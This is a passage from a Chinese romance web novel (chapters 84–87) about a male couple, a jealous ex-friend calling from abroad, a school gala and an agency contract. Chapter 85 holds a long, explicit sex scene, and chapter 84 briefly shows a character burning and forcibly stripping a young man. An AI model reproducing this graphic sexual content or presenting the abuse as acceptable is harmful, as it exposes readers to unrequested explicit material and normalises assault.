他道:“你真的从来不骗我?” “当然。” “那我问你,我内裤不见了,你跟我说是打扫卫生的时候不小心弄丢了,这是真的吗?” 程野:“……” 他顿了顿,“真的。” 丢他衣服兜里怎么不是丢。 第84章 江时:“……” 好好好。 这段过往对他来说的确很不堪,他以为说出来会很困难,然而事实像雪,凝聚时寒冷坚硬,落下时却轻飘飘。 程野也接受得轻飘飘。 往事如同一页纸轻轻撕下,江时以为掩盖着的伤口已经溃烂生疮,其实随着时间的流逝,早就已经愈合了,淡得连个疤也看不见。 不知不觉间,他已经往前走了太多。 他放得下,程野放不下。 雪到半夜越发的大,城市安静得只有下雪的簌簌声,柏油马路上留着两道汽车驶过的肮脏痕迹。 程野站在阳台,听着不知道从哪里传来的汽车滴滴声。 那些轻飘飘的雪落在他心底,化成水,又凝固成了坚冰。 这是他来到江城见过最大的一场雪。 地球上的水不断蒸发、升腾,在云里凝聚,热了就是雨,冷了就是雪,周而复始,在不知道循环多少遍后,当初落在江时肩膀上的雪又重新凝聚,时隔几年,飞舞在江城的上空。 程野摊开手掌,冰凉的雪花落在掌心,不到几秒的时间,漂亮的晶体融化成液体,像颗晶莹剔透的泪。 …… 几天后,远在大洋彼岸的一通电话打在江时手机里。 江时还在睡觉,被手机吵得蛄蛹个脑袋出来,头发乱糟糟的,他闭着眼睛摸到手机,也没看清电话,随手就接了起来。 “喂?” 那头懒洋洋的笑,“好不久不见啊,江时宝贝。” 江时瞬间就醒了。 “霍寂。” “这么久不见,我以为你已经忘了我呢。” 江时坐起来,捏着手机的手有些紧,“你打电话给我干什么?” “叙旧不可以么?” “我说了,我跟你没什么旧可叙。” 江时说完,正要挂断电话,那头的霍寂又开口了,“听说姜恺乐不长眼睛,欺负到你头上了?” 他挂电话的动作顿了下,“你干什么了?” “送了你点小礼物,我把他腿打断了,开心吗?” 江时皱着眉头,“霍寂,如果我没记错的话,姜恺乐是你兄弟?” “兄弟?”霍寂笑了声,“兄弟哪有你重要?” “算一算都两三年了,你闹脾气也该闹够了,什么时候回来我身边?” 江时给气笑了,“我什么时候在跟你闹脾气了?” 霍寂点燃一根烟。 他这边是深夜,外头繁星点点,落地窗上映着他修长消瘦的倒影。 “你会回来我身边的。”他说得笃定,“在外头总要吃苦的,你吃不了苦,只有我的怀抱是温暖安全的,你回来只是早晚的事。” 江时说:“都什么时候了,你还在做梦。霍寂,从你骗我的那刻开始,我们别说别的,连朋友也做不成。” 这话霍寂听了很多次,他向来自负,从来只是当江时发脾气说的话。 他们这个圈子,夫妻尚有离心的,虚情假意、逢场作戏多得是,哪有什么毫无隐瞒可言。 少年人心气高,不知道天有多高,在外面摔了跟头自然就知道他的好。 霍寂道:“我知道你想要什么,我也如你所愿了。好端端的,你猜为什么霍家要把我送出国?” “江时,我跟他们说我喜欢男的了。” 江时一时无言,紧接着心底涌上来的更多是无力。 “霍寂,我只是把你当朋友,你喜欢男的女的都跟我没关系。哪怕没发生那些事,你在我心底也只是朋友关系。” “朋友?”霍寂咬着烟笑了声,“那谁是你男朋友?当初站在你身边的那个乡下小子?江时,什么时候你口味变得这么差了?这么个人也配当你男朋友?粗俗、无理,空有一身蛮力毫无教养的东西……” 他边说手边抖,烟灰落在黑色裤子上,灰白得显目。 电话另一头,江时笑了出来。 “是,我就是喜欢他,他再粗俗、再无理也比你好上千万倍。你别和他比,要是真的比起来,你在我心底,连他一根手指头都比不上。” 砰—— 手机砸在地上摔得四分五裂,霍寂猩红着眼,胸口剧烈起伏着。 几分钟后,房门敲响,一个男生弱弱的声音在门外面响起,“霍先生,您……您还好吗?” “进来。” 外面犹豫了会,推开门,慢吞吞地探出一个脑袋。 他人还没走进来,被霍寂拽着衣领拖了进来。 男生被拽着掼到了床上,雪白的领口敞开,下一秒,烟头就烫了上去。 他颤了颤,下意识挣扎起来,被霍寂掐着脖子撕开了衣服。 等一切结束时晨曦的微光已经从天边亮起,男生睡在一边,呼吸的声音很低,霍寂裹着睡袍踩着手机碎片站在窗边。 程野…… 他念着这个名字给自己点了根烟,恨意盘旋上来,绞得他心脏发疼- 程野打了个喷嚏。 跟前的大妈揪住一个劲扑腾的大公鸡,“小伙子确定要这只吗?” “就它。” 他付了钱,等着大妈收拾好,拎着菜回了家。 以往这个点江时还没醒,但今天刚走到门口就听见里面传来叮叮当当的声音。 他拿着钥匙打开门,江时举着锅铲从厨房里跑出来。 身后浓烟滚滚,他脸上印着道灰扑扑的痕迹,在程野有些呆的神情里连打了两个喷嚏。 程野放下菜,先是把还在燃烧的火关了,然后打开油烟机,看了眼被江时丢在洗碗槽里的锅,锅里盛着分辨不出原材料的黑色物质。 江时举着锅铲,“我只是想煮个泡面而已。” 只是他没进过厨房,面一下锅就忘记了时间,硬生生把水给熬干了。 程野把他手里的锅铲拿下来,声音平淡,“还好只是煮泡面,要是做满汉全席,那厨房估计就变成二战战场了。” 江时:“……” 老实人讲话就是毒。 他不乐意地把程野手里的锅铲一把拿过来丢在洗碗池里,“给你做个饭还挑三拣四的,你这种人就活该饿死。” 程野:“……” 且不说煮泡面算不算做饭,他甚至连吃都没吃上就被安了个挑三拣四的名号。程野委屈,程野不敢说什么。 “对不起,是我的错。” 江时哼了声,勉强满意。 程野把锅里那团黑乎乎的东西倒进垃圾桶里,老实刷锅。水流从他手背上流过,激起一层泡沫,散开又聚拢。 他问江时,“今天怎么起这么早?还心血来潮的想给我煮泡面?” 江时说:“睡不着就起来了,你干嘛去了?” “买菜。”程野搓锅的动作顿了下,“我来的路上收到一个消息,姜恺乐断了一条腿。” 他看着江时,江时的脸僵了僵,“看我干什么,又不是我干的。” 程野收回目光,“那就是霍寂。” 江时沉默。 程野于是不再说什么。 他洗干净锅,先把米淘了做上,江时还站在厨房里没出去。 他看程野的表情跟以往一样,好像这些对他都没什么影响,忍不住问道:“你是怎么知道是霍寂干的?” “姜恺乐说到底也没那么聪明。他在我身上吃了憋,奈何不了我,自然要去找能奈何我的人,想来想去,只有霍寂。但他高估了他在霍寂心里的地位,也低估了你在他心里的地位,他告诉他,无疑是把自己往绝路上逼。” 他问江时,“起那么早,霍寂来给你邀功了?” 旁人看到程野的外貌,只会觉得他是个光有体格没脑子的老实人,只有江时才真真切切感受到他有多聪明。 他缓缓吐出一口气,垂下肩膀,“打了,他让我回到他身边。” 程野手里拿着菠菜,肩背挺直,语气里带着几分正宫才有的从容,“那你怎么想?” “我能怎么想……”江时给了他一下,“我跟他又不是那种关系,一直都是他一厢情愿。” “那行……”程野说:“你把他手机号码拉黑了。” 江时:“……” 他低头,发现正宫手里的菠菜已经被揉烂了挤出翠绿的汁水,正从指缝里溢出来。 “……” 心眼比针尖还小- 一晃眼到元旦,晚会的前一天蒋霏把礼裙和假发塞给江时,“回去试试看合不合适,不合身的话我给你换。” 宿舍里换也太羞耻了,江时带着裙子回了家。 今天碰巧程野也在,元旦放假,他借着假期出差,回来收拾东西,刚好碰到回来换衣服的江时。 两人在门口相遇,他目光落在江时怀里的那捧衣服上,“这是什么?” 江时还没察觉到问题的严重性,老实说了,“我不是要演什么狗屁的白雪公主吗,这个是衣服,班长让我带回来试试看合不合身。” 手里的衣服顿时就没那么着急收了,程野靠在门边,伸手把门合上,“嗯,去换吧·,我帮你看看。” 于是江时拿着衣服就进去了。 程野低头让王卓把飞机时间改签。 江时窸窸窣窣鼓捣了阵,快十分钟了才打开门从里面探出来个脑袋,“程野,拉链在后面,我拉不上。” 程野喉结滚动了下,起身朝江时走去,“开门,我帮你拉。” 屋里拉着窗帘开了灯,灯光如流淌的星河,倾泻着照在雪白的背上。 裙子如花瓣一样铺散开,越到下面越蓬松,而往上,渐渐收在一截窄窄的腰上。 程野伸手贴着腰,指尖勾着拉链,往上一提,雪色就被藏在香槟色的衣服下。 后背还裸着一截,男人有些灼热的呼吸喷洒在上面,江时不习惯地动了动,“晚饭吃多了,穿着是有点紧,不过不吃饭应该差不多。” 贴在腰上的手并未离开,他后知后觉地终于察觉到了点不对劲。 “程野,你起开,我要换衣服了。” 程野不动。 江时起身回头,下一秒,被拦腰抱到了床上。 柔软的大床颤了颤,开了朵层层叠叠的花。 第85章 江时被摔得懵了瞬,撑着手想爬起来,结果被脚底的裙子绊了下,整个人不受控制地往前跌去。 程野捞着他的腰,伸手一捋,复杂的花瓣在他掌心柔顺地舒展开,底下是一条黑色裤子。 江时不爱穿秋裤,哪怕外面裹得再厚,里面也不愿意多加一条裤子。程野伸手一拽,裤子就掉了。两条腿修长匀称,在蓬松的裙摆里蹬着,膝盖蹭出一点粉来。 程野把手握了上去,厚重的裙子挡住底下暧昧亲昵的动作,只能看到两人紧贴在一起。 “头发呢?”他问。 江时咬着唇没说话,怕自己一张口就是抑制不住的声音。 他不说,程野的视线巡视着屋子,在床头柜上发现堆在上面的假发。 他把手抽出来,指尖沾染着暖腻的香。 假发很长,海藻一样蓬松茂密,颜色是纯正的黑。 程野拿着抖了抖,垂着眸,撑开给江时戴了上去。 他没学过怎么戴假发,动作很粗糙,就这么随意地往江时头上套。乌黑的发从额前垂下来,江时眨了下眼睛,安静等了几秒,直到一只手捏着他的下巴让他抬起头来。 青年的眼尾带着搓揉出来的红,深棕色的瞳仁里印着程野的脸,两人靠得很近,呼吸落在脸皮上,那处渐渐地就泛起了粉。 程野端详了会,“少爷很好看。” 江时抿着唇,唇珠被抿进嘴里碾了碾,他垂眼躲开程野的眼神,“好看什么啊……我又不是女孩子。” 程野叩进一截指尖,抵住发粉的唇珠,又往里伸了伸,沾着一手温热。 他眼底的颜色越发的深,“比女孩子还好看。不要咬嘴,来咬我。” 江时瞪大了眼睛朝他看去。 程野眼神往下看。他抽出放在江时裙子里的手,撩开自己的T恤,露出壁垒分明的腹部。 灰色运动裤还好好的垮在他腰上,轻轻一吸气,腹肌的轮廓就显现出来,再往下,盘亘着好几条青筋,鼓动着往下蔓延,没入裤腰,而黑色的毛发却从灰色裤腰里攀长出来,直直延伸到肚脐的位置。 看了几秒,程野似乎有些惋惜地叹气。他放下衣服,“最近太忙,没来得及剃毛,少爷肯定不乐意。” 江时:“……” 剃了他也不乐意好吗。 他不乐意,程野倒很乐意,江时一个不留神,程野就钻到了裙子底下。 裙摆太大了,哪怕是程野那么高的体格也容得下。 江时腰下垫了个枕头,仰头看着头顶的灯光,眼底的雾气把光线碎成斑斑点点。 裙摆撑得很高,男人的声音透过厚重布料传出来闷闷的。 “少爷,把腿张开。” 江时闭了闭眼,心理上的羞耻让他无法直视这个画面,但身体下意识贪恋欢愉,主动给他做了选择。 他一点点分开腿,用仅存的理智隔着裙子扯了把程野的短短的头发,“别……别弄脏衣服。” …… 程野含着退出来。 他用纸包着吐在垃圾桶里,再回头,江时靠在枕头上还没回过神。 他抱着人出了卧室。 六点一过,江城的天就黑了,街边亮着灯,明亮的灯光映着远处山边的皑皑白雪。 直到膝盖陷在柔软的沙发上,额头靠着冰冷的玻璃窗江时才意识到不对劲。 裙子被撩到背后,程野运动裤带子上缀着的金属头贴在后面,江时被冰得打了个哆嗦,手还撑在玻璃上,挺直腰,往前蹭了一步,一低头,江城的夜景落在他眼里。 程野站他身后,伸手拍了拍,“江时,翘高一点。” “不……等等……”江时一动,背后的裙摆往下滑,盖住了程野手上的动作,“窗户……” 程野存了点恶劣的心思,弯腰贴着江时,带着潮湿水汽的手指捏着他的下巴,让他看下面,“窗户怎么了?少爷这么漂亮,就应该让所有人看见。” 果不其然,他说完后,身下的人抖了抖,耳根爬上薄粉,挣扎的动作也大了点,“程野,你怎么可以……可以……” 程野笑了声,滑下来的裙摆又被他撩上去,金属头坠在股间,一晃一晃地冰着。 江时缩着往前爬,掌心把透明玻璃印出两个潮湿的印子。 程野压在他身后,单薄清瘦的青年被挤压在男人和透明玻璃中间,厚重的裙摆在他腰间堆积着,海藻一样的黑发披散的肩上,脸皮晕着粉,纤长眼睫上挂着要落不落的泪,被逼得狠了,也只是靠着身后宽厚的胸膛细细呜咽着。 明明身后的人才是造成这一切的罪魁祸首,他还是下意识地依赖着。 “程野……我不要……” 程野不紧不慢地,“你不要什么?不要被我上,还是不要别人看见?” 江时讲不出话来,楼下传来汽车的滴滴声,他整个人缩了下。 “嘶……江时,手要被你夹断了。” “……” 金属头落下,粗糙的毛发扎得江时又麻又痒。 他逃无可逃,退无可退,头皮发麻地感受被撑开的感觉,最后大脑一片空白。 程野贴着他,舔掉他眼皮上的汗水,“骗你的,我早就安了单向玻璃。” 客厅里没开灯,窗外灯火通明,隔着玻璃,江时能隐约看到两人的倒影。 长而密的黑发将他的脸衬托得越发的小,五官雾蒙蒙的泛着潮气,裙摆堆积着,蓬松得像朵炸开的烟花,底下的泞泥全被掩盖。 江时闭上了眼睛。 忽然响起的铃声打断了屋里灼热的温度,是江时的手机,但在卧室里。 程野没管,掰着江时的脸和他接吻。 但那铃声跟催命一样,自动挂断了又接着响。江时受不了,推了程野一把。 程野压着眉,有些不开心,提着江时的腰,就这么硬生生地让他转了个圈。 江时发出一声惊呼,声音还没完全吐出来,被凿在半空,哑了火,表情空白。 程野托着他的腿弯,裙摆长长地拖着,回到了卧室。 手机还在响,他单手抱着人,伸手捞起手机,漆黑的眼眸里闪过一丝幽深的光芒。 “小少爷,海外来的电话。” 江时完全没听到程野在说什么,只顾着攀着他的肩往上提,连呼吸都觉得困难。 程野敞开腿坐在床上,看着手机铃声停下又响起,嗅着青年脖颈间的香气,“是你接还是我帮你接?” 江时说:“程野,我不要这样,撑……” 程野笑了。 他把人提出来,伸手拉开拉链,裙子滑落下来,被丢在床铺无人在意的角落。 那顶假发还在头上挂着,柔顺地在肩背铺散开,黑白对比很分明。 程野单手抓着江时的腰,拿着手机,按下接听键,声音暗哑暗沉,“喂?” 那头顿了顿,“你是谁?” 程野拨开头发,弯下腰,伸手捂住青年的脸,连点微弱的声音也不想让对面听见。 “这话应该是我问你才对。” 他说完后,电话那头的呼吸粗了点,像是在压抑怒火,“你是程野,你为什么拿着江时的手机?你让他接电话。” 江时瞳孔失焦,刚一张嘴,嘴里就探进来两根手指头,把他的声音堵得严严实实。 “他没空,你有事可以跟我说。” 霍寂的声音很尖锐,“我跟你没什么好说的,你让江时给我接电话!” “我说了,他没空。现在没空,以后也没空。” 程野听到了电话里摔东西的声音。 “你以为你是谁,你知道我们什么关系吗?我告诉你,江时迟早有一天会回来我身边的,他跟你只不过是玩玩……” 程野开了免提,江时被他抵在墙上弄,耳边是霍寂破防到大骂的声音。 正宫听着这些话眉头都没皱一下,动作不紧不慢,讲话也不紧不慢,“你怎么知道他跟我只是玩玩?他亲口告诉你的?再说玩玩怎么了?我心甘情愿给他玩……”他贴在江时耳朵边,朝他呼出一口热气,“你说是吧,小少爷?” 霍寂安静两秒,然后抛弃以往优雅从容的外壳,在电话里咆哮。 “你们在干什么?江时,你人呢?你在哪里?告诉我,你们到底在干什么!” “江时!你说话,你给我接电……” 嘟—— 程野按下挂断键,顺手把手机关机。 他把手机丢在一边,拍了拍江时被毛发磨得发红的地方,“小少爷,别咬这么紧,要断了。” 江时说不出话,一半是羞的,一半是…… 他张嘴咬住程野的肩膀。 程野就这么任他咬着,缓了几秒,他伸手拔出江时的脑袋,张嘴咬住他的唇,勾出舌尖。 再后来,江时就记不太清了,等他回过神来时人已经跪趴在飘窗上。 屋里的灯不知道什么时候被关了,窗帘半拉,对面对着山,白雪皑皑,一轮清冷的月在山尖冒头。 程野心口像攒着一口气,从接了霍寂的电话后动作很粗暴。江时的脸贴在玻璃上,然后被抱着坐在程野怀里,两人面对着面,鼻尖挨着鼻尖,呼吸交融在一起。 “江时,我是谁?” 漂亮的青年仰着头,脖颈拉得纤长,不知道是窗外的灯光还是月光落在他肩上,照着圆润的莹白。 他咬着唇,声音还没吞下去,嘴巴就被程野的手强行撬开,婉转的音符在夜里流淌,除了月色,只被一人收在怀中。 “程野……” “程野是谁?” “程野……程野是……” 江时抖了下,声音断断续续,“是我男朋友。” “不对。” 程野敛着眉眼,目光幽幽泛着绿光。 “程野是江时的狗。” 第86章 元旦晚会如期剧举行,穿着长裙的白雪公主一出场,礼堂里传来阵阵惊呼声。 扮演恶毒皇后的左回压低着声音问魔镜谁是世界上最漂亮的女人,所有人的目光都落在公主身上,那一刻,不用魔镜,他们也找到了问题的答案。 小品演得很成功,退场时掌声雷动。 江时溜进化妆间,飞快扒了身上这套衣服。蒋霏进来时他已经换上平时穿的衣服,坐在椅子上脱头套。 “我的公主,你怎么脱这么快?我还想要跟你合影来着。” 江时有苦说不出,只能加大力道撕扯头套,“这辈子……不,下辈子,我都不会穿裙子这种东西!” 长发从他耳侧滑落,挡住跟前的视线,被他粗暴地撩开,“假发也不会再戴!” 江时虽然平日里话不多,但蒋霏还是第一次见他这副样子,也不知道昨天抱着衣服回去经历了什么,今早一来整个人散发着阵阵低气压。 她的思绪不由自主地歪了歪。 门口传来有礼貌的敲门声,蒋霏回头,发现没见过几次的程野正站在门口。他怀里抱着件蓬松羽绒服,手里拿着个保温杯,“你好,我找江时。” “在里面卸妆呢。”蒋霏让他进来,想了想,低声朝程野道:“他不知道怎么了,今天一来心情就不太好的样子。” 程野可太知道为什么了,不过他没说什么,从衣服兜里变戏法一样拿出一个小蛋糕。原本冰冷的蛋糕在他兜里捂到现在已经变得温热,上面的巧克力碎完好无损,一点都没掉。 他站在江时身后,嗓音低低的,“你不是一直想吃这家的蛋糕吗?我排队给你买来了,吃完了收拾好带你去吃火锅,庆祝我们的公主完美谢幕。” 江时抓起桌子上的卸妆水朝他脸上丢。 程野两只手都拿着东西,挡也挡不了,只能往后退一步,用胸口接下这沉闷的一击。 哐当一声响,江时撩起眼皮透过镜子往后面看了眼,然后又飞快垂下眼。 “谁稀罕你的破东西,赶紧拿着滚,看见你就烦。” 程野床上床下一个样,床上有多不要脸,床下依旧有多不要脸。 他把蛋糕放下,保温杯放下,弯腰捡起地上的卸妆水,“还生气啊?都一天了,对我鼻子不是鼻子、眼睛不是眼睛的,光是道歉的话都快把我嘴皮子磨干了,实在不行,我就只有跪下来求你原谅了。” 临时搭建的卸妆间里人来人往的,江时才不信他能拉得下这个脸面,“行啊,你跪。” 他俩说话的声音算不上大,但碍不住中国人天生带有对八卦的探测雷达,几句话的时间,周围的人看似在做自己的事,实则悄悄屏住了呼吸。 程野无视周围的目光,怀里还抱着给江时穿的羽绒服,就怎么大刺刺地跪下了。 江时:“……” 江时兔子一样蹿起来,一把拽起程野,“你干什么呀!” 程野说:“祈求你的原谅。” 江时一脚踩在他的脚背上,“你再给我在大庭广众之下丢人,信不信我晚上暗杀你?” 程野“嘶”了一声,被吼了不敢说话。 给老婆下跪怎么能是丢人,这明明是他荣誉的象征。普天之下,谁干当面跪江时? 江时直接服了他,周围若有若无的目光让他头皮发麻,他装也来不及卸,抓着程野离开了这个是非之地。 外头刮起了风,路面上积雪还没化完,正是冷的时候。 程野把羽绒服给江时穿上。 才套上只袖子,衣服就被江时一把抢了过去,看也不看他,闷头往前走。 程野抬脚跟在他身后,走了还没两步,忽然有人在身后喊,“江时。” 江时回头,出口那里站着两个人,其中一个就是孙天宇,他旁边站着个和他差不多年纪的男人。 他愣了愣,等到两人走到跟前来才回过神,“孙总监,你怎么在这里?” 孙天宇也不知道在外面站了多久,等得双手有些发僵,他搓了搓手,哈出一口冷气,“我和你们院长是相识,听说你们办晚会,过来看看。” 一群大学生临时凑出来的晚会能有多精彩,孙天宇来的目的不是晚会,江时猜到了,朝他身边的男人看去。 瞧见他的目光,孙天宇也不卖关子,直接朝他介绍道:“刘和平,我之前跟你说过的,星汇的经纪人。” 江时没想到他会直接把人带过来,愣了几秒才伸手和刘和平握了下,“你好,江时。” 刘和平长相很和平,乍一眼看去,任谁都会觉得他是个老好人。 “上次见你还是在杂志上,没想到到本人比杂志还好看。” 江时知道他来时为了什么,他抿了抿唇,刚想要拒绝,刘和平又开口了,“别着急拒绝,接下来有时间吗?我们聊聊。聊完了觉得不行再拒绝也不迟。” 话都这么说了,江时也不好再说什么,只能跟着他们换了地方。 吃饭的地点是刘和平选的,碍于江时的学生身份,他没去太贵的地方,就在学校周边选了个餐厅。 包间里的暖气开得很充足,江时脱了外套,想着自己脸上还带着妆,低头拿着纸巾把嘴上的口红给擦了。 刘和平笑呵呵地倒茶,“我看了你们班演的小品了,虽然有点无厘头,但效果还不错。你的演技虽然很生涩,但不难看出很有灵气,是个当演员的好苗子。” 江时权当他在客气,没放在心在。 刘和平又道:“听说过星汇吗?” 江时不关注这些,老实地摇了摇头。 “也是……这些年文娱产业发达,新崛起了很多大公司,星汇早就没落了,你不知道也正常。” 孙天宇就在一边给江时科普,他讲了几个明星的名字,都是江时小时候耳熟能详的名字,他没想到这些人竟然都出自这家公司。 刘和平露出一个苦笑,“都是过去的历史了,现在的这些人走的走,退圈的退圈,跟公司已经没什么关系了。” 他手里拿着菜单,勾了几个菜后递给江时,“看看有没有忌口或者想吃的。” 江时接过来瞟了眼转手递给旁边的程野。 刘和平这才注意到坐在他旁边一直沉默着的人,“你朋友?” 江时“嗯”了一声。 程野全身上下的衣服加起来还没江时的一件外套贵,话也不多,他们说话他就安静地垂着眼坐在旁边。 刘和平没作多想,把注意力放在江时身上。 “可以和我说说为什么不愿意进娱乐圈吗?是不喜欢还是什么。” 江时谈不上喜欢,但也不讨厌。 他想了想,老实道:“觉得麻烦,而且我又不会唱歌,也不会跳舞,更别说演戏了……” “这都不是问题。”刘和平道:“这些后期都可以学,只要你愿意,签约后我可以立马给你安排课程。” 一听要学习,江时把头摇得跟拨浪鼓一样。 孙天宇笑着道:“都跟你说了,他就是懒,而且你看人家穿的衣服、吃的东西,一看就不缺你那三瓜两枣的,愿意答应我拍摄估计也只是出来体验生活。” 真正的农村户口江时:“……” 程野把菜单递出去,“点好了。” 刘和平接过来,习惯性地看了下,然后…… “……” 他看了眼程野,对方麻利地把江时跟前的碗给烫了,又拿过餐厅送的饮料喝了口。 “这个不好喝。”他把保温杯放江时跟前,“喝热水。” 弄完后,抓起盘子里的瓜子尝了口,似乎味道不好,没给江时,转头问他们,“你们要吃瓜子吗?” 孙天宇摸摸脑袋,道:“最近上火,不吃,和平也不爱吃这些东西。” 于是刘和平眼睁睁看着对面的程野拉开书包,从里面翻出一个塑料袋,哗啦一下把瓜子全倒进去。 “……” 他嘴角抽了抽,又看了看菜单,一脸肉疼地让服务员去备菜。 钱也出了,没捞到江时这么好的苗子,刘和平实在很不甘心。 “我了解你的专业,说实话找工作并不是很好找。我知道你现在最要紧的是学业,只要你答应签星汇,在你读书期间,公司可以尊重你的个人意见,不给你安排不必要的工作。” “江时,国家的文娱产业在进步,我敢肯定,照这个趋势下去,只会越来越火热,你错失了这次机会,以后想要进去,就没那么容易了。” 他从包里翻出一叠文件递给他,“星汇对待艺人一向都很厚道,我们从不强迫艺人做不想做的事,离开星汇,你去其它公司可就不是这种待遇了。” “这份合同你可以带回去看看,很多事情不要着急下定论,考虑考虑。” 江时看着跟前的合同,垂了垂眼,最终还是收了下来。 一顿饭吃完,程野还打包了一袋子回去。 孙天宇先给刘和平打了个车,他目送出租车离去,回头一看,江时在给程野甩脸色。 “不是程野,你吃就吃,怎么还连吃带拿的?” 程野老实道:“周一你就回学校,这点剩菜够我吃几天了。” 江时:“……” 抠死你得了。 他道:“这是别人请客。” 程野:“别人请,不花你的钱。” 别人的钱,不花白不花。 孙天宇:“……” 我还在这里呢。 第87章 他咳了声,吸引身后两人的注意。 街上寒风萧瑟,路边行人也没几个,他们站在餐厅门口掉光叶子的梧桐枝下,孙天宇把手揣在兜里。 “签约的事你回去可以好好考虑一下,我和他认识很多年了,他的人品我很清楚,我们也算相识一场,我不至于坑你。” “星汇虽然现在没落了,但早年间的辉煌你随便去网上搜搜都能看见……”他张嘴说出几个艺人的名字,“这些明星哪怕你不了解也听过,都是他带出来的人。” “只是年前他生了场病,在医院里住了半年的院,原本都打算退休回家养老了。但星汇一拿不出新鲜的血液,二找不到有经验的经纪人,老板求了他好久,他才回来的。” 该说的孙天宇都说了,至于别的,就要看江时怎么想了。 元旦过后就是期末考试。 江时捧着一堆划满重点的专业书回到出租屋。程野没有强制住校的要求,只要江时回来他都在。 江时埋头苦背,扭头一看,程野坐他旁边正在看视频学习怎么勾围巾。 “……” 他开着静音,但江时还是感觉眼睛被吵到了。 “不是程野,你在干什么?你不用复习吗?” 程野手大,手指也长,正常尺寸的钩针在他手里显得迷你很多。他低着头,手里牵着柔软的灰色毛线,那张脸和体型怎么看都不像是会勾毛线的样子。 一开始他动作的确有些笨拙,但跟着视频讲解,没一会就有模有样起来。 他回答江时,“昨天晚上背完了。” 所以呢?这就是你当着我的面正大光明织围巾的理由? “那你公司的事不忙吗?” 程野学完了基础针法,开始学习怎么把小兔子图案织进去。 “今天周末。”他拿着毛线问江时:“你喜欢这个颜色吗?” 天越来越冷,他打算给江时亲手织一条围巾。 江时很是无语,“你闲得没事干吗?一条围巾哪里买不到,你织它干什么?” 程野说:“前段时间圣诞,我看班里好多女生都在给男朋友织围巾,他们有的,你也要有。” 只是他那段时间有点忙,现在得空了,总算提上日程。 江时的和别人的都不一样,他的比普通款复杂,上面还有小兔子。 程野勤勤恳恳的,履行完男朋友的职责,又开始履行女朋友的职责。 江时:“……” 算了。 他深吸一口气,随他去了,开始背自己的书。 背了半个小时,他决定换换脑子换一本来背。书包在程野旁边的墙上挂着,江时懒得起身,推了下他,“你帮我把书包里那本《旅游学概论》拿过来。” 程野捏着钩针伸手去够墙上挂着的书包。他拉开拉链,伸手在里面翻了翻,找到江时说的书。他抬手抽出来,因为位置的原因,抽出来时将放在后面的文件也一并带了出来。 轻飘飘的几页纸落在地上,程野垂下眼,发现是几天前刘和平递给江时的合同。 江时也看到了,下意识的反应竟然是朝程野看去。 程野没什么表情,弯腰捡起文件夹在书里一并朝他递过来。 江时顿了顿,伸手接过,看着程野勾出一个小兔子耳朵。 “……” “程野……”他喊他,“你说我适合干这个吗?” 程野手上动作不停,“想签?” 江时把脑袋枕在桌子上,歪着头看他,“你想我签吗?” “想听真话还是假话?” 江时一秒作答,“假话。” 程野:“……” 程野当即决定要少织一个兔子脑袋。 “假话啊……”他说:“假话就是我不同意。” “真话呢?” “真话我也不同意。” “……” 江时踢了他一下。 程野被踢得错了个针位,他松手把毛线拆出来,有些无奈,“我可没有那么大方小少爷。” 娱乐圈那种地方,江时的脸一出来,不知道要吸引多少粉丝和其他人的视线,光是想想,程野就受不了。 可他也知道,江时不是困在他掌心的金丝雀,他拴不住他,也困不住他。 勾针尖尖的头戳在手上,留下一个坑,程野碾了碾指尖,伸手把夹在书页里的文件翻出来放在江时跟前,“想签就签吧,公司我回去已经查过了,没什么问题,刘和平虽然没那么和平,但对待手上的艺人一向还可以。” 星汇决策层思维固化,现在还在沿用曾今的管理方法,哪怕在积极做出改变,但有的东西依旧不变的话,只会在下坡路上越走越远。 江时不是犹犹豫豫的性格,他能这么问程野,抉择已经很明显了。 “不要有什么心理负担,就当去玩就行,这公司看着也开不了几年了。” 江时:“……” 这嘴也是很歹毒了。 比起签约,现在江时更重要的是两天后的期末考试。 他两眼一睁就是背,短短一个星期学完了一个学期的知识点,考完那天程野的围巾也织好了。 毛茸茸的,零星地散落着好几个兔子脑袋。江时觉得兔子跟自己的形象完全不搭,戴围巾的时候戳着兔子不是很乐意。 程野却觉得可爱,他在人夫的道路上越走越远,甚至还想给江时亲手织毛衣和手套。 越发繁忙的工作将他拽回霸总赛道。 霸总不会戴围巾,拿着围巾左边绕一圈、右边绕一圈,然后打个结,险些把江时勒死在当场。 江时把自己的脖子解救出来,嘴上说着嫌弃,手指却诚实的戴上。 程野记着他是怎么戴的,问他,“你和刘和平约在什么时候见面?” “下午两点。” 周围都是陆陆续续考完回家的学生,两个大男人杵在宿舍楼下戴围巾的场面怎么看怎么奇怪。江时戴好围巾,催促程野拿着他的行李,飞快离开案发现场。 明天下午程野要见一个重要客户,陪不了江时,但把他们公司的法务给派过来了。 法务是个小姐姐,看样子很年轻,估计才毕业没几年。 江时压根不知道程野给他找了专业的人陪同签合同,等他知道的时候,法务小姐姐已经坐在车里等他了。 女生不是外向的性格,第一次见江时很紧张,“您……您好,我是程总介绍过来的,具体情况他已经给我说了。” 听完后,江时的第一反应是: 程野也是好起来了,都有人喊他程总了。 江时觉得自己完全不需要这么专业的人,但来都来了,他总不能叫人家回去。他弯腰上了车,坐在靠窗的另一边,两人中间隔着一个人的距离。 “会不会耽搁你上班时间?” 女生笑了笑,“不会,今天我休假,这个算加班,工资程总会给。” 既然有人给钱,江时就不再说什么。 一考完试,他就报复性熬夜打游戏,天亮了才睡,半小时前才洗漱下来,此刻脑袋昏昏沉沉的,一靠着椅背,眼睛就不受控制地合了起来。 女生坐在一边悄悄打量着江时。 他刚来公司没多久,跟上头那几个高层都不熟,惟一一次跟程野说话还是被叫来陪同江时签合同。 程野在公司的作风一向冷硬,工资比其它同级别的公司都要高,相应的,工作能力和抗压能力也要高。 他那么年轻就有那么高的成就,靠的可不是嘴皮子上下一碰的功夫。她见过程野办公室凌晨一两点还亮着灯的样子,也见过好几个主管被骂哭的场景。 身边同事给程野的评价就是两个字:魔鬼。 今天一早,魔鬼领导一个电话打到她手机上。她甚至都怀疑是不是自己捅出了什么天大的篓子,结果领导只是叫她去陪同签合同。 好好的假期…… 程野说:“三倍工资。” 她一个鲤鱼打挺就爬起来了。 那么死抠的老板竟然开三倍工资就为了让她去陪同签合同,那看来这位客户一定很重要。 她收拾妥当来到约定的地点,结果上来了位异常漂亮的青年。 天气冷,他下来得似乎匆忙,只随便往身上套了件黑色棉服,头发乱糟糟,眼尾挂着没睡醒的困倦,巴掌大的脸上全是精致的五官,弯腰往车里一缩,昏暗的空间顿时都亮了起来。 漂亮的人,哪怕没收拾披个麻袋都是漂亮的。 